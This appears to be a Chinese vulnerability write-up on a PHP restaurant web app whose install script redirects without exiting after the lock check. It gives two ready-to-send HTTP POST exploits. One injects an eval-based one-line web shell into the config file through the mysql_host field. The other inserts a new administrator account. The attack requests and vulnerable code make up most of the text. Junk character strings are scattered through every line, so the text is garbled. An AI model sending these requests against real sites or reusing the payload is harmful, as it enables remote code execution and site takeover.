问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。0 u' ~- y) `7 [, L1 m/ [$ @ n, X1 `9 K
- W9 B: N, g3 Y, g7 e( E& X* B<?php
8 ~2 g# ?3 \+ F9 E1 ]7 n, D/ Uif(file_exists("../install.lock"))5 q! r6 m: _, x2 H% Z% b8 h! C( m
{% ?3 y) q5 c7 }7 U7 W" I
header("Location: ../");//没有退出4 ^4 D+ _* W4 u" {
}1 a6 o+ }& P" U6 w2 c" D3 R- q/ l! n
' a0 l7 g9 g' a9 \- m) ^
//echo 'tst';exit;
( Q% j9 ~8 ]$ I1 f6 _8 s0 _require_once("init.php");/ m9 v/ l+ s/ A6 R4 C
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
. W. A1 Q( t- H5 ]& f{! P- R7 S y5 { x
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
, Q( n i% v: t
( v; H' `* J9 b' d' B+ P1、getshell(很危险)& i+ c- Y8 }2 a' o1 \ I+ E6 g
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)4 m2 u9 ~. K: |$ _
{! k( Z0 ~7 O1 w' V. ~: w7 w& T
$smarty->assign("step",1);. U- q2 w2 p$ m1 Z. p2 f
$smarty->display("index.html");
# G5 Y* y& z5 P( s9 r}elseif($_REQUEST['step']==2)
5 g4 Y6 O+ e+ N" a/ @{
& { k! J, g1 l9 \8 H& r5 { $mysql_host=trim($_POST['mysql_host']);9 y9 W) g3 x F
$mysql_user=trim($_POST['mysql_user']);1 a8 v1 V; u$ E9 r( O% S
$mysql_pwd=trim($_POST['mysql_pwd']);% M3 _0 m' _, s8 i) X
$mysql_db=trim($_POST['mysql_db']);
& L" r: L: K4 }9 P; \$ r" Q $tblpre=trim($_POST['tblpre']);
' V$ d3 Q# \+ K+ S% ~0 h $domain==trim($_POST['domain']);+ `8 W# P. H* C8 N
$str="<?php \r\n";3 m6 c5 s2 i: T6 o
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";2 V T# {: \- v7 @6 {% o: f6 l
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";' E2 ~5 H( ~7 M. e: \9 r; y
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";8 \; k( X' f2 J' k: j6 y
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";9 V& o; d5 {1 q* Q% @+ X
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";+ l N/ o* f9 _7 _) e/ j2 t
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";& A, ~/ e W, n; Y" N
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
& E; ^: J# @+ ?& X, w: J) ~' } $str.='define("SKINS","default");'."\r\n";
% S M! Z8 x- v $str.='?>';
3 W7 \$ {! e2 V6 N' E/ b file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
5 _1 Z+ ^# H# [- C上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马& A! H' E7 W+ \4 c
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
. p7 d$ @. w2 W" n6 H, t" F* o, kHost: 192.168.80.129
2 Q a* Z. \- h/ R3 q O& JUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0, }, b* `) b) a2 M3 R+ A
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.86 O; B- S Q. T' V, O8 c( v/ M
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
1 K( A6 |7 D1 o' G2 z7 nAccept-Encoding: gzip, deflate) T6 D' z1 X) N( x$ ]. A
Referer: http://192.168.80.129/canting/install/index.php?step=1. A7 D N# ?3 S0 s
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc427 i: Y1 f2 }; R+ R: M
Content-Type: application/x-www-form-urlencoded
( G3 N) H5 a% n0 r" R. A/ h: `+ wContent-Length: 1262 ]7 V: ^5 M/ x: X" ~( M
. T) @% [& N0 l, w: W
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD, k* I5 M2 c* d; E! c. j
但是这个方法很危险,将导致网站无法运行。
! Z* j% M( K7 Q3 i; g
! Z' F) r' R5 @2 k2、直接添加管理员& {9 q' m# r7 f/ X' w& m
, {: C6 s, x X: u; l9 Xelseif($_REQUEST['step']==5)
% z( i9 N; z- H* k6 m{8 p+ ]7 [6 M, W" b' _% q* t& m
if($_POST)' G7 d3 @7 N r7 ^+ b8 F3 M
{ require_once("../config/config.inc.php");4 [. B+ l/ V4 w% ~
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);; w- p9 T6 F7 f$ A: j+ `- ?
mysql_select_db(MYSQL_DB,$link);* A- V7 O0 u* n/ w- U1 S
mysql_query("SET NAMES ".MYSQL_CHARSET );
3 @" ?: A5 P7 _7 }7 }; p. p mysql_query("SET sql_mode=''");
+ M4 ^& ~( L! z6 b. ~9 u( ~' D$ z6 T' _0 t* F& e! r
$adminname=trim($_POST['adminname']);6 t2 F! ~, y( V- B
$pwd1=trim($_POST['pwd1']);
9 G8 C. o* l" J- ?5 y $pwd2=trim($_POST['pwd2']);
- p6 b( J4 P$ r if(empty($adminname))3 @5 y% w; y0 g4 _
{$ u2 v1 P% s, v+ `
/ I: d# ]+ d2 Y; E echo "<script>alert('管理员不能为空');history.go(-1);</script>";# h, d, Z6 a, `. x7 ^
exit();
3 _* e% _3 g; U) Z# r }
; H: F" \( V8 |* h! R. n- y if(($pwd1!=$pwd2) or empty($pwd1))
) c4 K, f8 T! ?1 r7 `) R6 N- z* b {; K" p) r+ h$ O* X/ W
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
, x% h4 e' A, T }4 |/ u, ^) Y1 h4 b4 ^
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员( X/ H! z) m4 r" s" L0 D# c
}
# w. r9 ]$ \' D" j这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
' U5 `* t( M8 Z; }* I& _/ ~POST /canting/install/index.php?m=index&step=5 HTTP/1.1
, i: ~& _$ n- a4 |. n" H- ^4 b4 uHost: 192.168.80.129% y+ F: E- l0 d) L W% R0 [; Z/ {
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0+ T& U6 a {$ F2 o4 W
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8( I8 [* S) d% B' d9 r6 _* I9 L
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3" T+ c* e( W: @& \
Accept-Encoding: gzip, deflate
, y9 \& k% j) I6 G fReferer: http://www.2cto.com /canting/install/index.php?step=1
1 f2 ]- K: h$ ?! m5 i& ECookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42) S/ O, W. l. }5 x1 Y
Content-Type: application/x-www-form-urlencoded
& P% w1 H7 }6 E7 o: X$ hContent-Length: 46* l4 B. Z. h1 c- E& ^
/ [$ ]1 @: d f' a& madminname=qingshen&pwd1=qingshen&pwd2=qingshen. b+ p5 P( M9 K6 W- Q! e
|